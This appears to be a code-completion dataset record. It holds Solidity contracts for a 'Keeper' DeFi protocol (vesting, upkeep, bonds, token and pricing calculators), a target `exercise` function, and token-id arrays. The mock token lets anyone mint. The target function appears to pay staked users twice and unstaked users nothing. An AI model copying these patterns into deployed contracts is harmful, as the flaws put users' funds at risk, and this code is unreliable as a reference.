pullWalletChange( address _oldWallet ) external returns ( bool ) { require( walletChange[ _oldWallet ] == msg.sender, "wallet did not push" ); walletChange[ _oldWallet ] = address(0); terms[ msg.sender ] = terms[ _oldWallet ]; delete terms[ _oldWallet ]; return true; } // Amount a wallet can redeem function redeemableFor( address _vester ) public view returns (uint) { return redeemable( terms[ _vester ]); } function redeemable( Term memory _info ) internal view returns ( uint ) { uint maxRedeemable = KEEPER.balanceOf( address(this) ).add( totalRedeemed ); if ( maxRedeemable > 1e17 ) { maxRedeemable = 1e17; } uint maxRedeemableUser = maxRedeemable.mul( _info.percent ).div(1e6); return maxRedeemableUser.sub(_info.claimed); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@openzeppelin/contracts/access/Ownable.sol"; interface KeeperCompatibleInterface { function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData); function performUpkeep(bytes calldata performData) external; } interface IStaking { function rebase() external; } interface ITreasury { function auditTotalReserves() external; } interface ISPV { function auditTotalValue() external; } contract DailyUpkeep is KeeperCompatibleInterface, Ownable { /** * Use an interval in seconds and a timestamp to slow execution of Upkeep */ uint public immutable interval; uint public nextTimeStamp; address public staking; address public treasury; address public spv; constructor(address _staking, address _treasury, address _spv, uint _nextTimeStamp, uint _interval) { staking = _staking; treasury = _treasury; spv = _spv; nextTimeStamp = _nextTimeStamp; interval = _interval; } function setStaking(address _staking) external onlyOwner() { staking = _staking; } function setTreasury(address _treasury) external onlyOwner() { treasury = _treasury; } function setSPV(address _spv) external onlyOwner() { spv = _spv; } function checkUpkeep(bytes calldata /* checkData */) external override returns (bool upkeepNeeded, bytes memory /* performData */) { upkeepNeeded = block.timestamp > nextTimeStamp; } function performUpkeep(bytes calldata /* performData */) external override { if (staking != address(0)) { IStaking(staking).rebase(); } if (treasury != address(0)) { ITreasury(treasury).auditTotalReserves(); } if (spv != address(0)) { ISPV(spv).auditTotalValue(); } nextTimeStamp = nextTimeStamp + interval; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; contract VaultOwned is Ownable { address internal _vault; function setVault(address vault_) external onlyOwner() returns (bool) { _vault = vault_; return true; } function vault() public view returns (address) { return _vault; } modifier onlyVault() { require(_vault == msg.sender, "VaultOwned: caller is not the Vault"); _; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./types/VaultOwned.sol"; contract oldMockKeplerERC20 is ERC20, VaultOwned { using SafeMath for uint256; constructor() ERC20("Keeper", "KEEPER") { _setupDecimals(9); } function mint(address account_, uint256 amount_) external { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) public virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) public virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub( amount_, "ERC20: burn amount exceeds allowance" ); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./types/VaultOwned.sol"; contract oldKeplerERC20 is ERC20, VaultOwned { using SafeMath for uint256; constructor() ERC20("Keeper", "KEEPER") { _setupDecimals(9); } function mint(address account_, uint256 amount_) external onlyVault() { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) public virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) public virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub( amount_, "ERC20: burn amount exceeds allowance" ); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract iKeeperIndexCalculator is Ownable { using SafeMath for uint; event AssetIndexAdded( uint indexed deposit, uint indexed price, address indexed token ); event IndexUpdated( uint indexed fromIndex, uint indexed toIndex, uint oldPrice, uint newPrice ); event DepositUpdated( uint indexed fromDeposit, uint indexed toDeposit ); event AssetIndexWithdrawn( uint indexed deposit, uint price, uint indexed index, address indexed token ); struct AssetIndex { uint deposit; // In USD uint price; // 6 decimals, in USD uint index; // 9 decimals, starts with 1000000000 address token; // Token address of the asset } AssetIndex[] public indices; uint public netIndex; constructor(uint _netIndex) { require( _netIndex != 0, "Index cannot be 0" ); netIndex = _netIndex; } function calculateIndex() public { uint indexProduct = 0; uint totalDeposit = 0; for (uint i=0; i < indices.length; i++) { uint deposit = indices[i].deposit; totalDeposit = totalDeposit.add(deposit); indexProduct = indexProduct.add( indices[i].index.mul( deposit ) ); } netIndex = indexProduct.div(totalDeposit); } function addAssetIndex(uint _deposit, uint _price, address _token) external onlyOwner() { indices.push( AssetIndex({ deposit: _deposit, price: _price, index: 1e9, token: _token })); } function updateIndex(uint _index, address _token, uint _newPrice) external onlyOwner() { AssetIndex storage assetIndex = indices[ _index ]; require(assetIndex.token == _token, "Wrong index."); uint changeIndex = _newPrice.mul(1e9).div(assetIndex.price); uint fromIndex = assetIndex.index; uint oldPrice = assetIndex.price; assetIndex.index = fromIndex.mul(changeIndex).div(1e9); assetIndex.deposit = assetIndex.deposit.mul(changeIndex).div(1e9); assetIndex.price = _newPrice; emit IndexUpdated(fromIndex, assetIndex.index, oldPrice, _newPrice); } function updateDeposit(uint _index, address _token, uint _amount, bool _add) external onlyOwner() { require(_token == indices[ _index ].token, "Wrong index."); uint oldDeposit = indices[ _index ].deposit; require(_add || oldDeposit >= _amount, "Cannot withdraw more than deposit"); if (!_add) { indices[ _index ].deposit = oldDeposit.sub(_amount); } else { indices[ _index ].deposit = oldDeposit.add(_amount); } emit DepositUpdated(oldDeposit, indices[ _index ].deposit); } function withdrawAsset(uint _index, address _token) external onlyOwner() { AssetIndex memory assetIndex = indices[ _index ]; require(_token == assetIndex.token, "Wrong index."); indices[ _index ] = indices[indices.length-1]; indices.pop(); emit AssetIndexWithdrawn(assetIndex.deposit, assetIndex.price, assetIndex.index, assetIndex.token); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IsKEEPER.sol"; import "./interfaces/IStaking.sol"; // import "./interfaces/IIndexCalculator.sol"; contract iKEEPER is ERC20, Ownable { using SafeMath for uint; address public immutable TROVE; address public immutable staking; address public indexCalculator; constructor(address _TROVE, address _staking, address _indexCalculator) ERC20("Invest KEEPER", "iKEEPER") { require(_TROVE != address(0)); TROVE = _TROVE; require(_staking != address(0)); staking = _staking; require(_indexCalculator != address(0)); indexCalculator = _indexCalculator; } // function setIndexCalculator( address _indexCalculator ) external onlyOwner() { // require( _indexCalculator != address(0) ); // indexCalculator = _indexCalculator; // } // /** // @notice get iKEEPER index (9 decimals) // @return uint // */ // // function getIndex() public view returns (uint) { // // return IIndexCalculator(indexCalculator).netIndex(); // // } // // /** // // @notice wrap KEEPER // // @param _amount uint // // @return uint // // */ // // function wrapKEEPER( uint _amount ) external returns ( uint ) { // // IERC20( KEEPER ).transferFrom( msg.sender, address(this), _amount ); // // uint value = TROVEToiKEEPER( _amount ); // // _mint( msg.sender, value ); // // return value; // // } // /** // @notice wrap TROVE // @param _amount uint // @return uint // */ // function wrap( uint _amount, address _recipient ) external returns ( uint ) { // IsKEEPER( TROVE ).transferFrom( msg.sender, address(this), _amount ); // uint value = TROVEToiKEEPER( _amount ); // _mint( _recipient, value ); // return value; // } // // /** // // @notice unwrap KEEPER // // @param _amount uint // // @return uint // // */ // // function unwrapKEEPER( uint _amount ) external returns ( uint ) { // // _burn( msg.sender, _amount ); // // uint value = iKEEPERToTROVE( _amount ); // // uint keeperBalance = IERC20(KEEPER).balanceOf( address(this) ); // // if (keeperBalance < value ) { // // uint difference = value.sub(keeperBalance); // // require(IsKEEPER(TROVE).balanceOf(address(this)) >= difference, "Contract does not have enough TROVE"); // // IsKEEPER(TROVE).approve(staking, difference); // // IStaking(staking).unstake(difference, false); // // } // // IERC20( KEEPER ).transfer( msg.sender, value ); // // return value; // // } // /** // @notice unwrap TROVE // @param _amount uint // @return uint // */ // function unwrap( uint _amount ) external returns ( uint ) { // _burn( msg.sender, _amount ); // uint value = iKEEPERToTROVE( _amount ); // IsKEEPER( TROVE ).transfer( msg.sender, value ); // return value; // } // /** // @notice converts iKEEPER amount to TROVE // @param _amount uint // @return uint // */ // function iKEEPERToTROVE( uint _amount ) public view returns ( uint ) { // return _amount.mul( getIndex() ).div( 10 ** decimals() ); // } // /** // @notice converts TROVE amount to iKEEPER // @param _amount uint // @return uint // */ // function TROVEToiKEEPER( uint _amount ) public view returns ( uint ) { // return _amount.mul( 10 ** decimals() ).div( getIndex() ); // } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IBondCalculator.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IsKEEPER.sol"; import "./interfaces/IwTROVE.sol"; import "./interfaces/IStaking.sol"; import "./interfaces/ITreasury.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract BondStakeDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // intermediate token address public immutable sKEEPER; // token given as payment for bond address public immutable wTROVE; // Wrap sKEEPER address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable DAO; // receives profit share from bond address public immutable bondCalculator; // calculates value of LP tokens bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference time for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid) uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt uint32 vestingTerm; // in seconds } // Info for bond holder struct Bond { uint gonsPayout; // sKEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in seconds) between adjustments uint32 lastTime; // timestamp when last adjustment made } constructor ( address _KEEPER, address _sKEEPER, address _wTROVE, address _principle, address _staking, address _treasury, address _DAO, address _bondCalculator) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _sKEEPER != address(0) ); sKEEPER = _sKEEPER; require( _wTROVE != address(0) ); wTROVE = _wTROVE; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; require( _staking != address(0) ); staking = _staking; // bondCalculator should be address(0) if not LP bond bondCalculator = _bondCalculator; isLiquidityBond = ( _bondCalculator != address(0) ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _fee uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _fee, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, fee: _fee, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, FEE, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); require( currentDebt() == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.FEE ) { // 2 require( _input <= 10000, "DAO fee cannot exceed payout" ); terms.fee = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 3 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 4 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // profits are calculated uint fee = payout.mul( terms.fee ).div( 10000 ); uint profit = value.sub( payout ).sub( fee ); /** principle is transferred in approved and deposited into the treasury, returning (_amount - profit) KEEPER */ IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( principle ).approve( address( treasury ), _amount ); ITreasury( treasury ).deposit( _amount, principle, profit ); if ( fee != 0 ) { // fee is transferred to dao IERC20( KEEPER ).safeTransfer( DAO, fee ); } // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); IERC20( KEEPER ).approve( staking, payout ); IStaking( staking ).stake( payout, address(this), false ); IStaking( staking ).claim( address(this) ); uint stakeGons = IsKEEPER(sKEEPER).gonsForBalance(payout); // depositor info is stored bondInfo[ _depositor ] = Bond({ gonsPayout: bondInfo[ _depositor ].gonsPayout.add( stakeGons ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _wrap bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info uint _amount = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); emit BondRedeemed( _recipient, _amount, 0 ); // emit bond data return sendOrWrap( _recipient, _wrap, _amount ); // pay user everything due } else { // if unfinished // calculate payout vested uint gonsPayout = info.gonsPayout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ gonsPayout: info.gonsPayout.sub( gonsPayout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); uint _amount = IsKEEPER(sKEEPER).balanceForGons(gonsPayout); uint _remainingAmount = IsKEEPER(sKEEPER).balanceForGons(bondInfo[_recipient].gonsPayout); emit BondRedeemed( _recipient, _amount, _remainingAmount ); return sendOrWrap( _recipient, _wrap, _amount ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to wrap payout automatically * @param _wrap bool * @param _amount uint * @return uint */ function sendOrWrap( address _recipient, bool _wrap, uint _amount ) internal returns ( uint ) { if ( _wrap ) { // if user wants to wrap IERC20(sKEEPER).approve( wTROVE, _amount ); uint wrapValue = IwTROVE(wTROVE).wrap( _amount ); IwTROVE(wTROVE).transfer( _recipient, wrapValue ); } else { // if user wants to stake IERC20( sKEEPER ).transfer( _recipient, _amount ); // send payout } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { if( isLiquidityBond ) { price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 ); } else { price_ = bondPrice().mul( 10 ** IERC20Extended( principle ).decimals() ).div( 100 ); } } function getBondInfo(address _depositor) public view returns ( uint payout, uint vesting, uint lastTime, uint pricePaid ) { Bond memory info = bondInfo[ _depositor ]; payout = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); vesting = info.vesting; lastTime = info.lastTime; pricePaid = info.pricePaid; } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms for reserve or liquidity bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { if ( isLiquidityBond ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } else { return debtRatio(); } } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = IsKEEPER(sKEEPER).balanceForGons(bondInfo[ _depositor ].gonsPayout); if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != KEEPER ); require( _token != sKEEPER ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IUniswapV2ERC20.sol"; import "./interfaces/IUniswapV2Pair.sol"; import "./libraries/FixedPoint.sol"; interface IBondingCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract StandardBondingCalculator is IBondingCalculator { using FixedPoint for *; using SafeMath for uint; using SafeMath for uint112; address public immutable KEEPER; constructor( address _KEEPER ) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = a.div(2).add(1); while (b < c) { c = b; b = a.div(b).add(b).div(2); } } else if (a != 0) { c = 1; } } function getKValue( address _pair ) public view returns( uint k_ ) { uint token0 = IERC20Extended( IUniswapV2Pair( _pair ).token0() ).decimals(); uint token1 = IERC20Extended( IUniswapV2Pair( _pair ).token1() ).decimals(); (uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint totalDecimals = token0.add( token1 ); uint pairDecimal = IERC20Extended( _pair ).decimals(); if (totalDecimals < pairDecimal) { uint decimals = pairDecimal.sub(totalDecimals); k_ = reserve0.mul(reserve1).mul(10 ** decimals); } else { uint decimals = totalDecimals.sub(pairDecimal); k_ = reserve0.mul(reserve1).div(10 ** decimals); } } function getTotalValue( address _pair ) public view returns ( uint _value ) { _value = sqrrt(getKValue( _pair )).mul(2); } function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) { uint totalValue = getTotalValue( _pair ); uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); _value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 ); } function markdown( address _pair ) external view returns ( uint ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; if ( IUniswapV2Pair( _pair ).token0() == KEEPER ) { reserve = reserve1; } else { reserve = reserve0; } return reserve.mul( 2 * ( 10 ** IERC20Extended( KEEPER ).decimals() ) ).div( getTotalValue( _pair ) ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "./IUniswapV2ERC20.sol"; interface IUniswapV2Pair is IUniswapV2ERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns ( address ); function token1() external view returns ( address ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract aKEEPER is ERC20 { constructor() ERC20("Alpha Keeper", "aKEEPER") { _setupDecimals(9); _mint(msg.sender, 220000000000000); } function burn(uint256 amount) external { _burn(msg.sender, amount); } }
Allows wallet to redeem cKEEPER for KEEPER
function exercise( uint _amount, bool _stake, bool _wrap ) external returns ( bool ) { Term memory info = terms[ msg.sender ]; require( redeemable( info ) >= _amount, 'Not enough vested' ); require( info.max.sub( info.claimed ) >= _amount, 'Claimed over max' ); uint usdcAmount = _amount.div(1e12); IERC20( USDC ).safeTransferFrom( msg.sender, address( this ), usdcAmount ); IcKEEPER( cKEEPER ).burnFrom( msg.sender, _amount ); IERC20( USDC ).approve( treasury, usdcAmount ); uint KEEPERToSend = ITreasury( treasury ).deposit( usdcAmount, USDC, 0 ); terms[ msg.sender ].claimed = info.claimed.add( _amount ); if ( _stake ) { IERC20( KEEPER ).approve( staking, KEEPERToSend ); IStaking( staking ).stake( KEEPERToSend, msg.sender, _wrap ); IERC20( KEEPER ).safeTransfer( msg.sender, KEEPERToSend ); } return true; }
12,150,383
[ 1, 19132, 9230, 358, 283, 24903, 276, 6859, 41, 3194, 364, 1475, 9383, 3194, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24165, 12, 2254, 389, 8949, 16, 1426, 389, 334, 911, 16, 1426, 389, 4113, 262, 3903, 1135, 261, 1426, 262, 288, 203, 3639, 6820, 3778, 1123, 273, 6548, 63, 1234, 18, 15330, 308, 31, 203, 3639, 2583, 12, 283, 24903, 429, 12, 1123, 262, 1545, 389, 8949, 16, 296, 1248, 7304, 331, 3149, 11, 11272, 203, 3639, 2583, 12, 1123, 18, 1896, 18, 1717, 12, 1123, 18, 14784, 329, 262, 1545, 389, 8949, 16, 296, 9762, 329, 1879, 943, 11, 11272, 203, 203, 3639, 2254, 584, 7201, 6275, 273, 389, 8949, 18, 2892, 12, 21, 73, 2138, 1769, 203, 3639, 467, 654, 39, 3462, 12, 11836, 5528, 262, 18, 4626, 5912, 1265, 12, 1234, 18, 15330, 16, 1758, 12, 333, 262, 16, 584, 7201, 6275, 11272, 203, 3639, 467, 71, 6859, 41, 3194, 12, 276, 6859, 41, 3194, 262, 18, 70, 321, 1265, 12, 1234, 18, 15330, 16, 389, 8949, 11272, 203, 203, 3639, 467, 654, 39, 3462, 12, 11836, 5528, 262, 18, 12908, 537, 12, 9787, 345, 22498, 16, 584, 7201, 6275, 11272, 203, 3639, 2254, 1475, 9383, 3194, 28878, 273, 24142, 266, 345, 22498, 12, 9787, 345, 22498, 262, 18, 323, 1724, 12, 584, 7201, 6275, 16, 11836, 5528, 16, 374, 11272, 203, 203, 3639, 6548, 63, 1234, 18, 15330, 308, 18, 14784, 329, 273, 1123, 18, 14784, 329, 18, 1289, 12, 389, 8949, 11272, 203, 203, 3639, 309, 261, 389, 334, 911, 262, 288, 203, 5411, 467, 654, 39, 3462, 12, 1475, 9383, 3194, 262, 18, 12908, 537, 12, 2 ]
./full_match/3/0x3F7f7744218fcccfB04e0e91f3719972e55392C5/sources/browser/SmartFundUSDFactory.sol
